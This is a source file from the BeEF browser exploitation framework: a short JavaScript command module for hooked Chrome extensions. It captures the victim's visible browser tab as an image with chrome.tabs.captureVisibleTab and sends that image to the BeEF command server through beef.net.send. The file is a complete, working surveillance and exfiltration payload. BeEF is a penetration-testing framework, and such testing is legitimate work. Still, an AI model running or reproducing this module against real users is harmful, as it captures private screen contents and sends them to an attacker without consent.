Files
beef/modules/chrome_extensions/screenshot/command.js
2025-12-26 19:18:05 +10:00

14 lines
375 B
JavaScript
Executable File

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
chrome.tabs.captureVisibleTab(null, function(img) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString());
});
});